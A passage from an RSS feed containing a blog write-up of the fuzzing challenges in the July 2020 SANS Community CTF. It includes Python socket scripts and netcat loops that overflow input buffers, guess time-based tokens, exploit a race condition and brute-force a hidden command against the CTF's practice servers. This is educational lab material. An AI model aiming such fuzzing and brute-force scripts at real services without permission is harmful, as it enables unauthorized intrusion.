href="https://mm.netsecfocus.com/nsf/channels/htb-deep">Mattermost</a></li><li><a href="https://www.hackthebox.eu">Hacking Training For The Best</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67c926f33550" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SANS Community CTF — Fuzzing]]></title>
            <link>https://ericazelic.medium.com/sans-community-ctf-fuzzing-8a616ad33737?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a616ad33737</guid>
            <category><![CDATA[fuzzing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[san]]></category>
            <category><![CDATA[scripting]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Sat, 11 Jul 2020 05:18:37 GMT</pubDate>
            <atom:updated>2022-06-20T01:56:56.198Z</atom:updated>
            <content:encoded><![CDATA[<h3>SANS Community CTF — Fuzzing</h3><p>By EricaZeli c— July 9–11, 2020</p><p>While the world may be closed due to COVID-19, there have been many great Capture the Flag (CTF) events and virtual gatherings as a result. SANS, an industry leader in cybersecurity training also known for their very popular “Holiday Hack CTF”, is no exception. In 2020, SANS has been offering community mini-NetWars and CTF events such as Jupiter Rockets CTF, BootUp CTF, and SANS Community CTF. These events have been free to attend and available for everyone. Thank you SANS! ❤ This post will feature some of the challenges from SANS Community CTF.</p><p>If you want to participate in future SANS community events, mark your calendars and register at the following link: <a href="https://www.sans.org/blog/and-now-for-something-awesome-sans-launches-new-series-of-worldwide-capture-the-flag-cyber-events/">https://www.sans.org/blog/and-now-for-something-awesome-sans-launches-new-series-of-worldwide-capture-the-flag-cyber-events/</a></p><p>OK, let’s get started. In this post we will be focusing on the fuzzing challenges: F01, F02, F03, and F04. We used simple scripts to solve all of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*LMF4Wxn4lZ4c1s_iOi9x-g.png" /></figure><p>Interacting with the service, we see the following output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*aKD9HPy8ZLTWeaLNprwVMQ.png" /></figure><p>We’ll send the program varying lengths of A’s to see if we can observe different behavior. For starters, we can see that the program accepts a string of 26 characters plus a new line (“\n”) before it reproduces the original prompt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*afdU9MUE6o0XDl_f38PVew.png" /></figure><p>Since this is a fuzzing challenge, our goal is to crash the program, cause a memory corruption, or take control of the program in a way that wasn’t intended. There are several ways to solve this challenge. One way is to write a script to keep sending input until the connection closes.</p><pre>import socket</pre><pre>#define variables for connection<br>server = &#39;F01-target.allyourbases.co&#39;<br>port = 8142</pre><pre>#create a socket and send the first input<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>connect = s.connect((server, port))<br>s.recv(1024)<br>s.send(&quot;A&quot; + &quot;\n&quot;)</pre><pre>#send 100 A&#39;s for subsequent inputs and print flag if received<br>for i in range(1,23):<br>    s.send(&quot;A&quot;*100 + &quot;\n&quot;)<br>    a = s.recv(1024)<br>    if &quot;Flag&quot; in a:<br>      #print(i+1)<br>      print(a)</pre><p>Sending the program 100 A’s over and over again eventually returns the flag. The specific loop above would iterate 22 times before printing the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*nooGw11xt08fiK5xqwzD8A.png" /></figure><p>If you change the amount of A’s you send in the loop, you can see how many times the loop completes an iteration. For example, if we send 200 A’s, the loop will iterate 16 to 18 times before giving the flag. This implies that if we send the program somewhere between 2100 and 3200 A’s, we might get a flag. It turns out that sending the program 2161 A’s as input will also return the flag after the protocol re-initializes 79 times. On the 80th time, our Security UID changes to 1.</p><pre>kali@kali:~/Desktop/SANS$ python -c &#39;print &quot;A&quot;*2161&#39; | nc F01-target.allyourbases.co 8142<br>Network protocol expects validation frame. Value: DEBUG: User input is sizeof(27). Security UID is 0.<br>Retrying processor. Protocol re-ininitialize.<br>Network protocol expects validation frame. Value: DEBUG: User input is sizeof(27). Security UID is 0.<br>Retrying processor. Protocol re-ininitialize.<br>Network protocol expects validation frame. Value: DEBUG: User input is sizeof(27). Security UID is 0.<br>Retrying processor. Protocol re-ininitialize.<br>...[SNIP]...<br>Network protocol expects validation frame. Value: DEBUG: User input is sizeof(27). Security UID is 0.<br>Retrying processor. Protocol re-ininitialize.<br>Network protocol expects validation frame. Value: Security UID is 1.</pre><pre>Flag[KindCleverFuzzerUAre]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*IwEHOZA-B54qt41WlcFRZg.png" /></figure><p>We decided to reveal the hint for this challenge to give us a little nudge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*lGULVUhpkNaHXB5cLGzDlg.png" /></figure><p>This hint was very helpful. The first thing we had to do was find out what character of input it was expecting. If we look at an ASCII chart, we can see our keyboard characters are in range of 33 to 126. We can loop through that range to see if we got any different output:</p><pre>import socket</pre><pre>#define variables for connection<br>server = &#39;F02-target.allyourbases.co&#39;<br>port = 8143</pre><pre>#iterate through ascii keyboard set<br>for i in range(33,126):<br>   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>   connect = s.connect((server, port))<br>   s.recv(1024)<br>   print(chr(i))<br>   s.send(chr(i) + &quot;\n&quot;)<br>   a = s.recv(1024)<br>   print(a)</pre><p>Looking at the output, we see there’s a different response from the program when we send the character ;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*_pjISWvLaLipbATKhlhBfQ.png" /></figure><p>Great. Let’s send the program 1000 ; characters and observe what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*oXhuiARKfryvfVhCYBAILQ.png" /></figure><p>From this output, we can deduce that the buffer for each prompt is somewhere between 83 and 100 characters. We can also deduce it will take us 6 prompts to arrive at the point where we want to enter the UID we want to become. Deducing that the offset will occur somewhere between 500 and 600 ;characters, it’s fairly easy to arrive at the offset of 536 ; characters. Now we can supply the program a single 1 and we get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*GBWpmt9ZrFJnKtLcYQR7Gg.png" /></figure><p>We can send anywhere from 496 ;characters + 41 1 characters to 536 characters + one 1character and receive the flag. Alternatively, we can utilize a small python script to achieve the same:</p><pre>import socket</pre><pre>server = &#39;F02-target.allyourbases.co&#39;<br>port = 8143</pre><pre>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>connect = s.connect((server, port))<br>s.recv(1024)</pre><pre>for i in range(1,6):<br>    s.send(&quot;;&quot;*98 + &quot;\n&quot;)<br>    print(i)<br>    s.recv(1024)<br>s.send(&quot;;&quot; + &quot;1&quot;*41 +&quot;\n&quot;)<br>print(s.recv(1024))<br>print(&quot;[!] F02 = &quot; + s.recv(1024).split()[6])</pre><p>Here the lesson was that if we can control certain aspects of the program we may be able to change it’s execution in ways which were never intended.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*dRyqgCZCWztmGUHYX5Df1Q.png" /></figure><p>If we connect to the service and hit return we get a 10 or 11 digit number. If we do this repeatedly we can see the numbers are often similar. The numbers that are similar are always increasing. If we do this enough times, we see that sometimes we get a number that represents epoch time and the other numbers are multiples of epoch time or just future epoch time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*Onq0taPQdBgMyIY20JyBOA.png" /></figure><p>There are several ways you can approach this challenge. We’ll demonstrate two methods here. First we’ll connect to the program in a loop, create an epoch time stamp, multiply it by 10, change it to a string and send it to the server repeatedly until we get a match.</p><pre>import socket<br>import time<br><br>server = &#39;F03-target.allyourbases.co&#39;<br>port = 8146<br><br>while True:<br>   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>   connect = s.connect((server, port))<br>   s.recv(1024)<br>   t = int(time.time())<br>   t = t * 10<br>   t = str(t)<br>   print(t)<br>   s.send(t + &quot;\n&quot;)<br>   a = s.recv(1024)<br>   print(a)<br>   if &quot;Flag&quot; in a:<br>      break</pre><p>And we get the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*tmjO5kb--_-BUj02USl5JA.png" /></figure><p>Another way we’ll show is with a race condition. We’ll connect to the server and send a new line (“\n”) to retrieve the token. Then we’ll grab the token provided by the server and resubmit it. We’ll do this continually until the race condition gives us a match.</p><pre>import socket<br><br>while True:<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    connect = s.connect((&#39;F03-target.allyourbases.co&#39;, 8146))<br>    s.recv(1024)<br>    s.send(&quot;\n&quot;)<br>    a = str(s.recv(1024).split()[6].decode(&quot;utf-8&quot;))<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    connect = s.connect((&#39;F03-target.allyourbases.co&#39;, 8146))<br>    s.recv(1024)<br>    s.send(a + &quot;\n&quot;)<br>    flag = (s.recv(1024))<br>    if &quot;Flag&quot; in flag:<br>        print(flag.split()[7])<br>        break</pre><p>And we get the flag this way too:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*IPdhtPS9dYzOqPyu7P8b1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*rgYr-PTwL37HrcXr8s7clA.png" /></figure><p>Connecting to the program reveals it wants us to supply it with a 4 character command. The obligatory HELP command produced nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*ASklzGSyz9hwMUl9PpabsQ.png" /></figure><p>Since this is a fuzzing challenge, that’s what we’ll do. We could approach this by brute forcing with a wordlist of 4 letter verbs, or we can try to enumerate the command character by character. We’ll attempt to enumerate the command with a bash for loop:</p><pre>for x in {A..Z}; do echo $x;echo $x | nc F04-target.allyourbases.co 8154; done</pre><p>Paying close attention to the output, we can see the program responds with something different when we send it the character V:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*8a5s_NGGRE1NGAjIIzK_nA.png" /></figure><p>Next we’ll append the letter V in front of our variable and loop again:</p><pre>for x in {A..Z}; do echo V$x;echo V$x | nc F04-target.allyourbases.co 8154; done</pre><p>Again we can see that we receive different output at the letter I.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*9IeEUITVt5czEpgYCQM8pw.png" /></figure><p>Appending the I and running the loop again gives us:</p><pre>for x in {A..Z}; do echo VI$x;echo VI$x | nc F04-target.allyourbases.co 8154; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*9upFX6cxA0o5uezffo0I4A.png" /></figure><pre>for x in {A..Z}; do echo VIN$x;echo VIN$x | nc F04-target.allyourbases.co 8154; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*zvARY9Xe94TEg48DNXjPkQ.png" /></figure><p>This concludes our write-up of the Fuzzing challenges from SANS Community CTF July 9–11, 2020. We really enjoyed doing these challenges. They required us to analyze output, utilize scripting skills/automation, and were achievable in a relatively short time. We picked up some new tricks, honed some skills, worked together, and had a fun time. Thanks again to SANS and everyone involved for the great event.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a616ad33737" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>